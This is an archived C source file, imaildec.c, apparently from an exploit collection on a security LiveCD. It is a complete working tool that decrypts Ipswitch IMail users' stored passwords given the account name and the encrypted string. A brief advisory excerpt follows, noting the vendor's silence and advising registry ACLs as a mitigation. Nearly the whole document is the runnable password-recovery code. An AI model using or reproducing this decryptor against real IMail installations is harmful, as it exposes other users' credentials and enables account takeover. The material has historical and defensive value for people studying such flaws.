home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / imail / imaildec.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  182 lines

  1. /*
  2.  * IMail password decryptor
  3.  * By: Mike Davis (mike@eEye.com)
  4.  *
  5.  * Thanks to Marc and Jason for testing and their general eliteness.
  6.  * Usage: imaildec <account name> <encrypted password>
  7.  *
  8.  */
  9.  
  10.  
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <memory.h>
  14.  
  15. void usage (char *);
  16. int search (char *);
  17. int eql (char *, char *);
  18. int lc (int);
  19. int strlen();
  20.  
  21. struct
  22. {
  23.   char *string;
  24.   int o;
  25. } hashtable[255];
  26.  
  27. struct { char *string; } encrypted[60];
  28.  
  29. char *list = "0123456789ABCDEF";
  30.  
  31. int alpha[95] = {
  32.   32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49,
  33.   50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67,
  34.   68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85,
  35.   86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102,
  36.   103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116,
  37.   117, 118, 119, 120, 121, 122, 123, 124, 125, 126 
  38. };
  39.  
  40. int
  41. main (int argc, char *argv[])
  42. {
  43.   int i, j, k, ascii, start, diffs[66], num, loop;
  44.   char asciic[155];
  45.  
  46.   if (argc <= 2 || argc > 3) usage (argv[0]);
  47.   if (strlen (argv[2]) > 62)
  48.   {
  49.      printf ("\nERROR: Please enter an encrypted password less than 60 "
  50.              "characters.\n\n");
  51.  
  52.      usage (argv[0]);
  53.   }
  54.  
  55.   printf ("IMail password decryptor\nBy: Mike <Mike@eEye.com>\n\n");
  56.  
  57.   ascii = -97;
  58.  
  59.   /* Make the hash table we will need to refer to. */
  60.   for (i = 0, start = 0; i < strlen (list); i++)
  61.   {
  62.      for (k = 0; k < strlen (list); k++)
  63.      {
  64.         hashtable[start].string = (char *) malloc (3);
  65.         sprintf (hashtable[start].string, "%c%c", list[i], list[k]);
  66.         hashtable[start].o = ascii++;
  67.  
  68.         /* Don't want to skip one! */
  69.         if ((k + 1) != strlen (list)) start++;
  70.      }
  71.  
  72.      start++;
  73.   }
  74.  
  75.   for (k = 0, start = 0; k < strlen (argv[1]); k += strlen (argv[1]))
  76.   {
  77.      for (j = k; j < k + strlen (argv[2]); j += 2, start++)
  78.      {
  79.         encrypted[start].string = (char *) malloc (3);
  80.         sprintf (encrypted[start].string, "%c%c", argv[2][j],
  81.                  argv[2][j + 1]);
  82.      }
  83.   }
  84.  
  85.   for (j = 0, start = 0; j < strlen(argv[2]) / strlen(argv[1]); j++)
  86.      for (i = 0; i < strlen (argv[1]); i++, start++)
  87.         diffs[start] = (lc(argv[1][0]) - lc(argv[1][i]));
  88.  
  89.   printf ("Account Name: %s\n", argv[1]);
  90.  
  91.   printf ("Encrypted: ");
  92.   for (i = 0; i < strlen (argv[2]) / 2; i++) printf ("%s", encrypted[i]);
  93.   putchar('\n');
  94.  
  95.   printf ("Unencrypted: ");
  96.   for (i = 0, loop = 0; i < strlen (argv[2]) / 2; i++, loop++)
  97.   {
  98.      num = search (encrypted[i].string) + diffs[i];
  99.      if (loop == 0)
  100.      {
  101.         /* Make alphabet */
  102.         for (j = lc (argv[1][0]) - 65, start = 0;
  103.              j <= lc (argv[1][0]) + 29;
  104.              j++, start++)
  105.         {
  106.            asciic[j] = alpha[start];
  107.         }
  108.      }
  109.  
  110.      putchar(asciic[num]);
  111.   }
  112.  
  113.   putchar('\n');
  114.   return 0;
  115. }
  116.  
  117. int
  118. search (char *term)
  119. {
  120.   register int n;
  121.  
  122.   for (n = 0; n < 255; n++)
  123.      if (hashtable[n].string && eql (hashtable[n].string, term))
  124.         return hashtable[n].o;
  125.  
  126.   return 0;
  127. }
  128.  
  129. int
  130. eql (char *first, char *second)
  131. {
  132.   register int i;
  133.   for (i = 0; first[i] && (first[i] == second[i]); i++);
  134.  
  135.   return (first[i] == second[i]);
  136. }
  137.  
  138. int
  139. lc (int letter)
  140. {
  141.   if (letter >= 'A' && letter <= 'Z') return letter + 'a' - 'A';
  142.   else return letter;
  143. }
  144.  
  145. void
  146. usage (char *name)
  147. {
  148.  
  149.   printf ("IMail password decryptor\n");
  150.   printf ("By: Mike (Mike@eEye.com)\n\n");
  151.   printf ("Usage: %s <account name> <encrypted string>\n", name);
  152.   printf ("E.g., %s crypto CCE5DFE5E2\n", name);
  153.   exit (0);
  154. }
  155.  
  156. ---------------------------------------------------------------------------
  157. Patch:
  158.  
  159. Ipswitch was notified of this advisory last week, and they have not
  160. responded.  They released a never version afterwards, but we cannot
  161. confirm whether or not this latest version, 6.01 fixes the vulnerability.
  162. Their site says:
  163.   This patch fixes problems with POP server and IAdmin application,
  164.   including external database authentication problems and possible
  165.   password corruption problems.
  166.  
  167. Until we have positive confirmation, you can set an ACL on each registry
  168. key containing the password to prevent normal users (while still allowing
  169. IMail) from viewing other users' passwords.  You are safe to remove read
  170. permissions on these registry keys--they will not affect IMail (as it
  171. doesn't run with user privileges).
  172.  
  173. ---------------------------------------------------------------------------
  174. People that deserve hellos: eEye, USSR, and Interrupt
  175.  
  176. w00sites:
  177. http://www.attrition.org
  178. http://www.eEye.com
  179. http://www.ussrback.com
  180.  
  181.  
  182.